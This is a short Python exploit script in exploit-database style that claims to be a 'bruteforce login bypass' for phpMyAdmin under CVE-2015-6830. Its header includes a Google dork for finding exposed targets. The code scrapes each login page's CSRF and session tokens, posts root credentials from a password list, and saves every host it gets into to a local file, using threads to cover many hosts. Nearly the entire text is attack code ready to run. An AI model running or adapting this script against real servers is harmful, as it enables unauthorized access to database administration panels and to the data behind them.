1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

"""
Exploit-Title: PHPMyAdmin 3.0 - Bruteforce Login Bypass
Author: Nikola Markovic (badgerinc23@gmail.com)
Date: 2023
Google-Dork: intext: phpMyAdmin
Vendor: https://www.phpmyadmin.net/
Version: >3.0 & 4.3.x before 4.3.13.2 and 4.4.x before 4.4.14.1
Tested on: win/linux/unix
Python-Version: 3.0
CVE : CVE-2015-6830
"""
import urllib.request
import urllib.parse
import urllib
import threading
import http.cookiejar
import re
import sys

def CheckLogin(target):
    passwords = ["123"]
    try:
        for password in passwords:
            print("Try Host: "+target+" with Combo: root/"+password+"!\n")
            load_token = urllib.request.Request(target)
            fetch_token = urllib.request.urlopen(load_token,timeout=2).read()
            token = re.findall(r'name="token" value="([\w\.-]+)"',fetch_token.decode('utf-8')) # token fetching
            session = re.findall(r'name="set_session" value="([\w\.-]+)"',fetch_token.decode('utf-8')) ## session token fetching
            login_data = urllib.parse.urlencode({ 'pma_username': "root", 'pma_password': password,'set_session': session[0], 'token':token}) ## injecting payload to bruteforce
            login = login_data.encode()
            cookies = http.cookiejar.CookieJar()
            opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookies))
            do_it = opener.open(target,login,timeout=2)
            check = do_it.read()
            if b"index.php?route=/logout" in check:
                f = open('bruted_pma','a')
                f.write(target+" Bruted: root/"+password+"\n")
                f.close()
    except:
        pass

if sys.argv[1]:
    t = threading.Thread(target=CheckLogin,args=(str(sys.argv[1]),))
    if threading.active_count() < 500:
        t.start()
    else:
        t.start()
        t.join()